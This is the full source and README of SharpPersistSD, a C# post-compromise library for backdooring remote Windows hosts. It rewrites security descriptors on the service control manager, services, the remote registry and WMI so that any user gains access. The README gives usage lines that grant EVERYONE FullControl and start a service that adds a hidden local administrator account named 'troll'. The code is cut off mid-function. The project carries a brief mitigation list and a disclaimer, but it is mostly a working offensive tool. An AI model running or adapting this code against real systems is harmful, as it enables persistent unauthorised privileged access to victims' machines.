├── SharpPersistSD.sln ├── SharpPersistSD ├── Properties │ └── AssemblyInfo.cs ├── SharpPersistSD.csproj ├── RegHelper.cs ├── SvcHelper.cs └── SharpPersistSD.cs └── README.md /SharpPersistSD.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.8.34330.188 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpPersistSD", "SharpPersistSD\SharpPersistSD.csproj", "{107EBC1B-0273-4B3D-B676-DE64B7F52B33}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {81A15924-A5BE-4824-87BD-3339AE661F18} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpPersistSD/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpPersistSD")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpPersistSD")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("107ebc1b-0273-4b3d-b676-de64b7f52b33")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpPersistSD/SharpPersistSD.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {107EBC1B-0273-4B3D-B676-DE64B7F52B33} 8 | Library 9 | Properties 10 | SharpPersistSD 11 | SharpPersistSD 12 | v4.7.2 13 | 512 14 | true 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | none 27 | true 28 | bin\Release\ 29 | 30 | 31 | none 32 | 4 33 | x64 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /SharpPersistSD/RegHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Management; 3 | using System.Security.AccessControl; 4 | using System.Security.Principal; 5 | 6 | 7 | namespace SharpPersistSD 8 | { 9 | public class RegHelper 10 | { 11 | 12 | public static string ConvertSDDLAppend(string SDDL, string aSDDL, string type) 13 | { 14 | string returnString = ""; 15 | 16 | if (type == "SCM") 17 | { 18 | returnString = "O:SYG:SYD:" + aSDDL + SDDL.Remove(0, 10); 19 | } 20 | else if (type == "SVC") 21 | { 22 | 23 | returnString = "O:SYG:SYD:" + aSDDL + SDDL.Remove(0, 10); 24 | } 25 | else if (type == "DCOM") 26 | { 27 | returnString = SDDL + aSDDL; 28 | } 29 | 30 | return returnString; 31 | 32 | } 33 | 34 | public static string ConvertSDDLCreate(string aSDDL, string type) 35 | { 36 | 37 | string defaultSCMSDDL = @"O:SYG:SYD:"; 38 | string defaultSVCSDDL = @"O:SYG:SYD:"; 39 | 40 | string returnString = ""; 41 | 42 | if (type == "SCM") 43 | { 44 | returnString = "O:SYG:SYD:" + aSDDL + defaultSCMSDDL.Remove(0, 10); 45 | } 46 | else if (type == "SVC") 47 | { 48 | 49 | returnString = "O:SYG:SYD:" + aSDDL + defaultSVCSDDL.Remove(0, 10); 50 | } 51 | 52 | return returnString; 53 | 54 | } 55 | 56 | public static string ConvertPrincipalToSID(string principal) 57 | { 58 | 59 | NTAccount account = new NTAccount(principal); 60 | SecurityIdentifier data = (SecurityIdentifier)account.Translate(typeof(SecurityIdentifier)); 61 | 62 | Console.WriteLine("[+] Converted " + principal + " to SID:" + data.ToString()); 63 | 64 | return data.ToString(); 65 | 66 | } 67 | 68 | public static byte[] SDDLToBinarySD(string SDDL) 69 | { 70 | Console.WriteLine("[+] NewSDDL: " + SDDL); 71 | 72 | ManagementClass mc = new ManagementClass("Win32_SecurityDescriptorHelper"); 73 | ManagementBaseObject inParams = mc.GetMethodParameters("SDDLToBinarySD"); 74 | inParams["SDDL"] = SDDL; 75 | ManagementBaseObject outParams = mc.InvokeMethod("SDDLToBinarySD", inParams, null); 76 | byte[] Data = (byte[])outParams["BinarySD"]; 77 | Console.WriteLine("[+] Converted New SDDL to byte array of length: " + Data.Length); 78 | return Data; 79 | } 80 | 81 | public static string BinarySDToSDDL(byte[] BinarySD) 82 | { 83 | Console.WriteLine("[+] Converted Old SDDL to byte array of length: " + BinarySD.Length); 84 | 85 | ManagementClass mc = new ManagementClass("Win32_SecurityDescriptorHelper"); 86 | ManagementBaseObject inParams = mc.GetMethodParameters("BinarySDToSDDL"); 87 | inParams["BinarySD"] = BinarySD; 88 | ManagementBaseObject outParams = mc.InvokeMethod("BinarySDToSDDL", inParams, null); 89 | string SDDL = (string)outParams["SDDL"]; 90 | Console.WriteLine("[+] OldSDDL: " + SDDL); 91 | return SDDL; 92 | } 93 | 94 | 95 | public static void ShowSecurity(RegistrySecurity security) 96 | { 97 | 98 | foreach (RegistryAccessRule ar in 99 | security.GetAccessRules(true, true, typeof(NTAccount))) 100 | { 101 | Console.WriteLine(" User: {0}", ar.IdentityReference); 102 | Console.WriteLine(" Type: {0}", ar.AccessControlType); 103 | Console.WriteLine(" Rights: {0}", ar.RegistryRights); 104 | Console.WriteLine(); 105 | } 106 | } 107 | 108 | public static byte[] HexToBin(string hex) 109 | { 110 | var result = new byte[hex.Length / 2]; 111 | for (int i = 0; i < hex.Length; i += 2) 112 | { 113 | result[i / 2] = byte.Parse(hex.Substring(i, 2), System.Globalization.NumberStyles.HexNumber); 114 | } 115 | return result; 116 | } 117 | 118 | 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /SharpPersistSD/SvcHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | 5 | namespace SharpPersistSD 6 | { 7 | public class SvcHelper 8 | { 9 | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] 10 | public static extern IntPtr OpenSCManager( 11 | string lpMachineName, 12 | string lpDatabaseName, 13 | uint dwDesiredAccess); 14 | 15 | 16 | [DllImport("advapi32.dll", EntryPoint = "CreateServiceA")] 17 | public static extern IntPtr CreateServiceA( 18 | IntPtr hSCManager, 19 | string lpServiceName, 20 | string lpDisplayName, 21 | uint dwDesiredAccess, 22 | uint dwServiceType, 23 | int dwStartType, 24 | int dwErrorControl, 25 | string lpBinaryPathName, 26 | string lpLoadOrderGroup, 27 | string lpdwTagId, 28 | string lpDependencies, 29 | string lpServiceStartName, 30 | string lpPassword); 31 | 32 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] 33 | public static extern IntPtr OpenService( 34 | IntPtr hSCManager, 35 | string lpServiceName, 36 | uint dwDesiredAccess); 37 | 38 | [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")] 39 | public static extern int ChangeServiceConfigA( 40 | IntPtr hService, 41 | uint dwServiceType, 42 | int dwStartType, 43 | int dwErrorControl, 44 | string lpBinaryPathName, 45 | string lpLoadOrderGroup, 46 | string lpdwTagId, 47 | string lpDependencies, 48 | string lpServiceStartName, 49 | string lpPassword, 50 | string lpDisplayName); 51 | 52 | [DllImport("advapi32.dll", EntryPoint = "ControlService")] 53 | public static extern int ControlService( 54 | IntPtr hService, 55 | int dwNumServiceArgs, 56 | ref SERVICE_STATUS lpServiceStatus 57 | ); 58 | 59 | [DllImport("advapi32", SetLastError = true)] 60 | public static extern bool StartService( 61 | IntPtr hService, 62 | int dwControl, 63 | string[] lpServiceArgVectors 64 | ); 65 | public enum ACCESS_MASK : uint 66 | { 67 | STANDARD_RIGHTS_REQUIRED = 0x000F0000, 68 | STANDARD_RIGHTS_READ = 0x00020000, 69 | STANDARD_RIGHTS_WRITE = 0x00020000, 70 | STANDARD_RIGHTS_EXECUTE = 0x00020000, 71 | } 72 | public enum SCM_ACCESS : uint 73 | { 74 | SC_MANAGER_CONNECT = 0x00001, 75 | SC_MANAGER_CREATE_SERVICE = 0x00002, 76 | SC_MANAGER_ENUMERATE_SERVICE = 0x00004, 77 | SC_MANAGER_LOCK = 0x00008, 78 | SC_MANAGER_QUERY_LOCK_STATUS = 0x00010, 79 | SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020, 80 | SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED | 81 | SC_MANAGER_CONNECT | 82 | SC_MANAGER_CREATE_SERVICE | 83 | SC_MANAGER_ENUMERATE_SERVICE | 84 | SC_MANAGER_LOCK | 85 | SC_MANAGER_QUERY_LOCK_STATUS | 86 | SC_MANAGER_MODIFY_BOOT_CONFIG, 87 | 88 | GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ | 89 | SC_MANAGER_ENUMERATE_SERVICE | 90 | SC_MANAGER_QUERY_LOCK_STATUS, 91 | 92 | GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE | 93 | SC_MANAGER_CREATE_SERVICE | 94 | SC_MANAGER_MODIFY_BOOT_CONFIG, 95 | 96 | GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE | 97 | SC_MANAGER_CONNECT | SC_MANAGER_LOCK, 98 | 99 | GENERIC_ALL = SC_MANAGER_ALL_ACCESS, 100 | } 101 | public enum SERVICE_ACCESS : uint 102 | { 103 | STANDARD_RIGHTS_REQUIRED = 0xF0000, 104 | SERVICE_QUERY_CONFIG = 0x00001, 105 | SERVICE_CHANGE_CONFIG = 0x00002, 106 | SERVICE_QUERY_STATUS = 0x00004, 107 | SERVICE_ENUMERATE_DEPENDENTS = 0x00008, 108 | SERVICE_START = 0x00010, 109 | SERVICE_STOP = 0x00020, 110 | SERVICE_PAUSE_CONTINUE = 0x00040, 111 | SERVICE_INTERROGATE = 0x00080, 112 | SERVICE_USER_DEFINED_CONTROL = 0x00100, 113 | SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | 114 | SERVICE_QUERY_CONFIG | 115 | SERVICE_CHANGE_CONFIG | 116 | SERVICE_QUERY_STATUS | 117 | SERVICE_ENUMERATE_DEPENDENTS | 118 | SERVICE_START | 119 | SERVICE_STOP | 120 | SERVICE_PAUSE_CONTINUE | 121 | SERVICE_INTERROGATE | 122 | SERVICE_USER_DEFINED_CONTROL) 123 | } 124 | 125 | public enum ServiceState 126 | { 127 | SERVICE_STOPPED = 0x00000001, 128 | SERVICE_START_PENDING = 0x00000002, 129 | SERVICE_STOP_PENDING = 0x00000003, 130 | SERVICE_RUNNING = 0x00000004, 131 | SERVICE_CONTINUE_PENDING = 0x00000005, 132 | SERVICE_PAUSE_PENDING = 0x00000006, 133 | SERVICE_PAUSED = 0x00000007, 134 | } 135 | 136 | [StructLayout(LayoutKind.Sequential)] 137 | public struct SERVICE_STATUS 138 | { 139 | public uint dwServiceType; 140 | public ServiceState dwCurrentState; 141 | public uint dwControlsAccepted; 142 | public uint dwWin32ExitCode; 143 | public uint dwServiceSpecificExitCode; 144 | public uint dwCheckPoint; 145 | public uint dwWaitHint; 146 | }; 147 | 148 | [DllImport("kernel32.dll")] 149 | public static extern uint GetLastError(); 150 | } 151 | } 152 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpPersistSD 2 | A Post-Compromise granular, fully reflective, simple and convenient .NET library to embed persistency to persistency by abusing Security Descriptors of remote machines. The techniques incorporated are not novel but I've yet to come across any documented approach of modifying SCM/Service's SDDL by directly modifying registry keys. Modification of SD for WMI and Remote registry was also added in as an after thought but this means there's a lot more to explore and add for the curious minds. 3 | 4 | 5 | ### How is this different from https://github.com/mandiant/SharPersist? 6 | SharPersist is focused on adding persistency on the local machine. 7 | SharpPersistSD is focused on backdooring the remote machine so that persistency or code execution can be established later. (i.e persistency to persistency) 8 | Post backdooring, even a **non local admin** on the remote machine will be able to regain privileged/SYSTEM persistency/execution if using SCM or REG. 9 | 10 | 11 | # Compiled 12 | Refer to release. 13 | 14 | # Compilation 15 | 16 | 1. Git clone / download project and open with visual studio 17 | 2. Rightclick the project -> add reference and add *System.Management* and add *System.Management.Instrumentation* 18 | 3. Compile as x64, Release\ 19 | \ 20 | *******No other dependencies******* 21 | 22 | # Nomenclature 23 | Methods are named according to **PROTOCOL_ACTION**\ 24 | so REG_ModifyRegistryPermissions\ 25 | means it uses the RemoteRegistry protocol to modify registry permissions.. 26 | 27 | # Caveats 28 | 1. The library checks the SDDL syntax but not the SDDL logic, so best to stick to example SDDL and just change the principal of the SDDL 29 | 2. As this is a Post-Compromise library, it assumes you are running with the relevant privileges and permissions already. 30 | 3. Library is focused for domain environments, but you can use it in workgroup with the relevant additional changes. 31 | 4. Modifying permissions via REG_ModifyRegistryPermissions may not show up immediately when viewing permissions through GUI. Verify it using: 32 | ``` 33 | Get-Acl -Path "HKLM:SYSTEM\" | Format-List 34 | ``` 35 | 36 | # library 37 | 38 | **REG_ModifyRegistryPermissions(string hostname, string subkey, string principal, bool propogate)** 39 | ``` 40 | - subkey: must be like "SYSTEM\" or "SYSTEM\\" 41 | - principal: "EVERYONE", "Domain\User", etc 42 | - propogate: if true, will set permissions to subkeys of the key 43 | ``` 44 | 45 | **REG_ModifyRegistryContainingSD(string type, string hostname, string SDDL, string key, string value)** 46 | ``` 47 | - type: "DCOM" or "SVC" or "SCM" 48 | - SDDL: any legitimate SDDL string such as "(A;;KA;;;WD)" or "(A;;KA;;;S-1-1-0)" 49 | - Key: key name, if type="SVC", the key must follow the format "SYSTEM\CurrentControlSet\Services\\Security" 50 | - value: value name 51 | ``` 52 | 53 | **WMI_ModifyWMISD(string hostname, string SDDL)** 54 | ``` 55 | - SDDL: Change the principal component of the SDDL string such as "(A;;CCDCRP;;;WD)" or "(A;;CCDCRP;;;S-1-1-0)" 56 | ``` 57 | 58 | **REG_CreateRegKey(string hostname, string key, string value, object data, int REG_TYPE)** 59 | ``` 60 | - data: depending on REG_TYPE, you can pass string for string, int for Dword or byte[] for Binary 61 | - REG_TYPE: String = 1, Binary = 3, DWord = 4 62 | ``` 63 | 64 | **SCM_CreateAndStart(string hostname, string servicename, string binarypath)** 65 | ``` 66 | - servicename: service to create 67 | - binarypath: binarypath in the for "c:\windows\..\example.exe" or "cmd /c blah blah blah" 68 | ``` 69 | 70 | **SVC_ModifyAndStart(string hostname, string servicename, string BinaryPathName)** 71 | ``` 72 | - servicename: service to create 73 | - binarypath: binarypath in the for "c:\windows\..\example.exe" or "cmd /c blah blah blah" 74 | ``` 75 | 76 | 77 | # Example Usage 78 | 79 | ## SCM SD, allow everyone - Requires Reboot for services.exe to restart!! 80 | ``` 81 | #Modify SD to allow "EVERYONE" access to service control manager 82 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryContainingSD("SCM","Hostname","(A;;KA;;;WD)","SYSTEM\CurrentControlSet\Control\ServiceGroupOrder\Security", "Security") 83 | 84 | #Set exemption for non-admin to access services. This sets for all services, you can use REG_CreateRegKey to set for specific service. 85 | [SharpPersistSD.SecurityDescriptor]::REG_CreateRegKey("Hostname", "SYSTEM\CurrentControlSet\Control", "RemoteAccessExemption", 1, 4) 86 | 87 | #After reboot - You must use the provided SCM_CreateAndStart() function. sc.exe will not work to start the service. 88 | #Create and start service 89 | [SharpPersistSD.SecurityDescriptor]::SCM_CreateAndStart("Hostname","troll","cmd /c net users /add troll Trolololol123 && net localgroup administrators /add troll") 90 | ``` 91 | ## SVC SD, allow everyone - Requires Reboot for services.exe to restart!! 92 | ``` 93 | #Modify SD to allow "EVERYONE" access to specific service (eg.PlugPlay) 94 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryContainingSD("SVC","Hostname","(A;;KA;;;WD)","SYSTEM\CurrentControlSet\Services\PlugPlay\Security", "Security") 95 | 96 | #Set exemption for non-admin to access services. This sets for all services, you can use REG_CreateRegKey to set for specific service. 97 | [SharpPersistSD.SecurityDescriptor]::REG_CreateRegKey("Hostname", "SYSTEM\CurrentControlSet\Control", "RemoteAccessExemption", 1, 4) 98 | 99 | #After reboot - You must use the provided SVC_ModifyAndStart() function. sc.exe will not work to start the service. 100 | #Modify and start service 101 | [SharpPersistSD.SecurityDescriptor]::SVC_ModifyAndStart("Hostname", "troll", "cmd /c net users /add troll Trolololol123 && net localgroup administrators /add troll") 102 | ``` 103 | ## REG SD, allow everyone 104 | ``` 105 | #Modify SD to allow "EVERYONE" access to remote registry service 106 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryPermissions("Hostname","SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg","EVERYONE",$false) 107 | 108 | #Modify key to allow write 109 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryPermissions("Hostname","SYSTEM\CurrentControlSet\Control","EVERYONE",$true) 110 | 111 | #Alternatively, you can set it on "SYSTEM", which lets you create services and do just about anything associated with registry keys 112 | ``` 113 | ## WMI SD, allow everyone 114 | ``` 115 | #Modify SD to allow "EVERYONE" access to WMI 116 | [SharpPersistSD.SecurityDescriptor]::WMI_ModifyWMISD("Hostname","(A;;CCWP;;;WD)") 117 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryContainingSD("DCOM","Hostname","(A;;CCDCRP;;;WD)","software\microsoft\ole", "MachineLaunchRestriction") 118 | 119 | #Can use any wmi tool to connect (eg. SharpWMI) 120 | ``` 121 | ## SCHTASK TaskCache\Tasks key, allow everyone. Must run on LOCAL MACHINE AS SYSTEM 122 | ``` 123 | #Modify Reg Key to allow "EVERYONE" access to modify existing scheduled tasks via reg key 124 | [SharpPersistSD.SecurityDescriptor]::REG_ModifyRegistryPermissions("localhost","SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks","EVERYONE",$true) 125 | #Use GhostTask to modify task from remote machine as non admin 126 | ``` 127 | 128 | # Blue Team and Mitigations 129 | 1. GPO! GPO! GPO! ENFORCE VIA GPO! 130 | 2. Monitor Registry Changes for the ones mentioned ^ 131 | 3. Monitor SERVICE CREATION / STOP / START 132 | 4. Firewall off unneeded protocols 133 | 134 | # Wishlist / Upgrades - which i will not be pursuing 135 | 1. Add features for PSRemoting and yada yada 136 | 2. REG_ uses RemoteRegistry, you can incporate WMI to perform registry actions as well to make WMI_ModifyRegistryPermissions 137 | 138 | # Disclaimer 139 | For educational purposes only! 140 | 141 | # Credits / References 142 | - https://www.c-sharpcorner.com/UploadFile/puranindia/windows-management-instrumentation-in-C-Sharp/ 143 | - https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/ 144 | - https://gist.github.com/pich4ya/c15af736f0f494c1a560e6c837d77828 145 | - https://learn.microsoft.com/en-us/windows/win32/wmisdk/changing-access-security-on-securable-objects 146 | - https://unlockpowershell.wordpress.com/2009/11/20/script-remote-dcom-wmi-access-for-a-domain-user/ 147 | - https://albertherd.com/2017/10/19/code-never-lies-documentation-sometimes-do/ 148 | - https://github.com/Mr-Un1k0d3r/SCShell/blob/master/SharpSCShell.cs 149 | - https://www.experts-exchange.com/questions/27096211/VB-net-set-registry-key-remotely.html 150 | - https://raw.githubusercontent.com/samratashok/RACE/master/RACE.ps1 151 | - https://stackoverflow.com/questions/6851961/using-regsetkeysecurity-to-avoid-registry-redirection 152 | - https://forums.powershell.org/t/unable-to-set-acl-on-remote-registry-kindly-help/7078/5 153 | - https://posts.specterops.io/remote-hash-extraction-on-demand-via-host-security-descriptor-modification-2cf505ec5c40 154 | - https://woshub.com/set-permissions-on-windows-service/ 155 | - https://support.microsoft.com/en-us/topic/block-remote-callers-who-are-not-local-administrators-from-starting-stopping-services-c5f77f8e-09e6-57e6-72d1-2c4423627a24 156 | - https://vbscrub.com/2020/06/02/windows-createservice-api-bypasses-service-permissions/ 157 | - https://github.com/VbScrub/ServiceInstallerTest/blob/master/Program.vb 158 | - https://stackoverflow.com/questions/2732126/deletesubkey-unauthorizedaccessexception 159 | - https://stackoverflow.com/questions/28739477/accessing-a-remote-registry-with-local-credentials-of-the-remote-machine-on-th 160 | - https://www.rhyous.com/2011/08/07/how-to-authenticate-and-access-the-registry-remotely-using-c/ 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /SharpPersistSD/SharpPersistSD.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Management; 3 | using System.Security.AccessControl; 4 | using Microsoft.Win32; 5 | using static SharpPersistSD.SvcHelper; 6 | using static SharpPersistSD.RegHelper; 7 | 8 | 9 | namespace SharpPersistSD 10 | { 11 | public static class SecurityDescriptor 12 | { 13 | public static void WMI_ModifyWMISD(string hostname, string SDDL) 14 | { 15 | 16 | try 17 | { 18 | 19 | Console.WriteLine("[+] Using WMI to set WMI SD"); 20 | 21 | ManagementClass mc = new ManagementClass(@"\\" + hostname + @"\ROOT\cimv2:__SystemSecurity"); 22 | 23 | ManagementBaseObject outParams = mc.InvokeMethod("GetSD", null, null); 24 | byte[] BinarySD = (byte[])outParams["SD"]; 25 | string oSDDL = BinarySDToSDDL(BinarySD); 26 | string NewSDDL = oSDDL + SDDL; 27 | 28 | byte[] NewBinarySD = SDDLToBinarySD(NewSDDL); 29 | 30 | ManagementBaseObject inParams = mc.GetMethodParameters("SetSD"); 31 | inParams["SD"] = NewBinarySD; 32 | outParams = mc.InvokeMethod("SetSD", inParams, null); 33 | 34 | Console.WriteLine("[+] WMI Return Value: " + outParams["ReturnValue"]); 35 | 36 | } 37 | catch (Exception e) 38 | { 39 | Console.WriteLine("[!] Catch Entered: Something went wrong.. printing error"); 40 | Console.WriteLine("[!]" + e.ToString()); 41 | } 42 | 43 | } 44 | 45 | public static void REG_ModifyRegistryPermissions(string hostname, string subkey, string principal, bool propogate) 46 | { 47 | 48 | try 49 | { 50 | 51 | Console.WriteLine("[+] Using RemoteRegistry to set Registry Permissions"); 52 | 53 | RegistryKey key = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, hostname).OpenSubKey(subkey, true); 54 | if (key == null) 55 | { 56 | Console.WriteLine("[!] Specified Key does not exist.. exiting early"); 57 | return; 58 | } 59 | 60 | RegistrySecurity rs = new RegistrySecurity(); 61 | rs = key.GetAccessControl(AccessControlSections.All); 62 | rs.SetAccessRuleProtection(true, true); 63 | 64 | Console.WriteLine("[+] ---------------Current Access Rules---------------"); 65 | ShowSecurity(rs); 66 | 67 | if (propogate) 68 | { 69 | rs.AddAccessRule( 70 | new RegistryAccessRule( 71 | principal, 72 | RegistryRights.FullControl, //Change to relevant permissions 73 | InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, 74 | PropagationFlags.InheritOnly, 75 | AccessControlType.Allow 76 | ) 77 | ); 78 | 79 | } 80 | else 81 | { 82 | rs.AddAccessRule( 83 | new RegistryAccessRule( 84 | principal, 85 | RegistryRights.FullControl, //Change to relevant permissions 86 | AccessControlType.Allow 87 | ) 88 | ); 89 | 90 | } 91 | 92 | Console.WriteLine("[+] Adding new rules.. might be a bit slow.."); 93 | key.SetAccessControl(rs); 94 | 95 | Console.WriteLine("[+] ---------------New Access Rules---------------"); 96 | ShowSecurity(rs); 97 | 98 | Console.WriteLine("[+] Registry Permissions action successfully completed."); 99 | } 100 | catch (Exception e) 101 | { 102 | Console.WriteLine("Catch Entered: Something went wrong"); 103 | Console.WriteLine(e.ToString()); 104 | } 105 | 106 | } 107 | 108 | 109 | public static void REG_ModifyRegistryContainingSD(string type, string hostname, string SDDL, string sBaseKey, string value) 110 | { 111 | try 112 | { 113 | Console.WriteLine("[+] Using RemoteRegistry to set Registry SD"); 114 | 115 | RegistryKey HKLMHive = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, hostname); 116 | 117 | bool exists = false; 118 | 119 | if (HKLMHive.OpenSubKey(sBaseKey, true) != null) { exists = true; } 120 | 121 | 122 | if (exists) 123 | { 124 | //key already exists 125 | Console.WriteLine("[+] Key exists.. proceeding."); 126 | 127 | 128 | RegistryKey FinalKey = HKLMHive.OpenSubKey(sBaseKey, true); 129 | 130 | byte[] obdata = (byte[])FinalKey.GetValue(value); 131 | 132 | string oSDDL = BinarySDToSDDL(obdata); 133 | 134 | string cSDDL = ConvertSDDLAppend(oSDDL, SDDL, type); 135 | 136 | byte[] nbdata = SDDLToBinarySD(cSDDL); 137 | 138 | 139 | FinalKey.SetValue(value, nbdata, RegistryValueKind.Binary); 140 | } 141 | else 142 | { 143 | //key doesnt exists 144 | 145 | RegistryKey FinalKey = HKLMHive.CreateSubKey(sBaseKey, true); 146 | 147 | string cSDDL = ConvertSDDLCreate(SDDL, type); 148 | 149 | byte[] nbdata = SDDLToBinarySD(cSDDL); 150 | 151 | FinalKey.SetValue(value, nbdata, RegistryValueKind.Binary); 152 | 153 | 154 | } 155 | 156 | Console.WriteLine("[+] Registry Permissions action successfully completed."); 157 | 158 | 159 | } 160 | catch (Exception e) 161 | { 162 | Console.WriteLine("[!] Catch Entered: Something went wrong, printing error message."); 163 | Console.WriteLine("[!] " + e.ToString()); 164 | } 165 | 166 | return; 167 | } 168 | 169 | 170 | public static void REG_CreateRegKey(string hostname, string key, string value, object data, int REG_TYPE) 171 | { 172 | try 173 | { 174 | Console.WriteLine("[+] Using RemoteRegistry to Create Key, Value, Data"); 175 | RegistryKey lastkey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, hostname).OpenSubKey(key, true); 176 | lastkey.SetValue(value, data, (RegistryValueKind)REG_TYPE); 177 | 178 | Console.WriteLine("[+] Successfully Completed REG_CreateRegKey"); 179 | } 180 | catch (Exception e) 181 | { 182 | Console.WriteLine("[!] Catch Entered: Something went wrong, printing error message."); 183 | Console.WriteLine("[!] " + e.ToString()); 184 | } 185 | return; 186 | } 187 | 188 | 189 | public static void SCM_CreateAndStart(string hostname, string servicename, string binarypath) 190 | { 191 | try 192 | { 193 | Console.WriteLine("[+] Using SVC protocol to Create and Start Service"); 194 | 195 | IntPtr SCMHandle = OpenSCManager(hostname, null, (uint)SCM_ACCESS.SC_MANAGER_ALL_ACCESS); 196 | 197 | Console.WriteLine("[+] SCMHandle: 0x{0}", SCMHandle); 198 | 199 | IntPtr svchandle = CreateServiceA( 200 | SCMHandle, 201 | servicename, 202 | servicename, //optional DisplayName 203 | (uint)SERVICE_ACCESS.SERVICE_ALL_ACCESS, 204 | 0x10, //SERVICE_WIN32_OWN_PROCESS 205 | 2, //start_auto 206 | 1, //errorcontrol 207 | binarypath, //binarypath 208 | null, //optional 209 | null, //optional 210 | null, //optional 211 | null, //RunAs (null = localsystem) 212 | null //optional 213 | ); 214 | Console.WriteLine("[+] SVChandle: 0x{0}", svchandle); 215 | 216 | bool bResult = StartService(svchandle, 0, null); 217 | uint dwResult = GetLastError(); 218 | if (!bResult && dwResult != 1053) 219 | { 220 | Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError()); 221 | } 222 | else 223 | { 224 | Console.WriteLine("[+] Service was started"); 225 | } 226 | } 227 | catch (Exception e) 228 | { 229 | Console.WriteLine("[!] Something went wrong..printing error message."); 230 | Console.WriteLine(e.ToString()); 231 | } 232 | 233 | } 234 | 235 | public static void SVC_ModifyAndStart(string hostname, string servicename, string BinaryPathName) 236 | { 237 | 238 | try 239 | { 240 | 241 | Console.WriteLine("[+] Using SVC protocol to Modify and Start Service"); 242 | 243 | IntPtr SCMHandle = OpenSCManager(hostname, null, (uint)SCM_ACCESS.SC_MANAGER_CONNECT); 244 | Console.WriteLine("[+] SCMHANDLE: 0x{0}", SCMHandle); 245 | 246 | IntPtr svchandle = OpenService(SCMHandle, servicename, ((uint)SERVICE_ACCESS.SERVICE_START | (uint)SERVICE_ACCESS.SERVICE_CHANGE_CONFIG | (uint)SERVICE_ACCESS.SERVICE_STOP)); 247 | Console.WriteLine("[*] SVCHANDLE: 0x{0}", 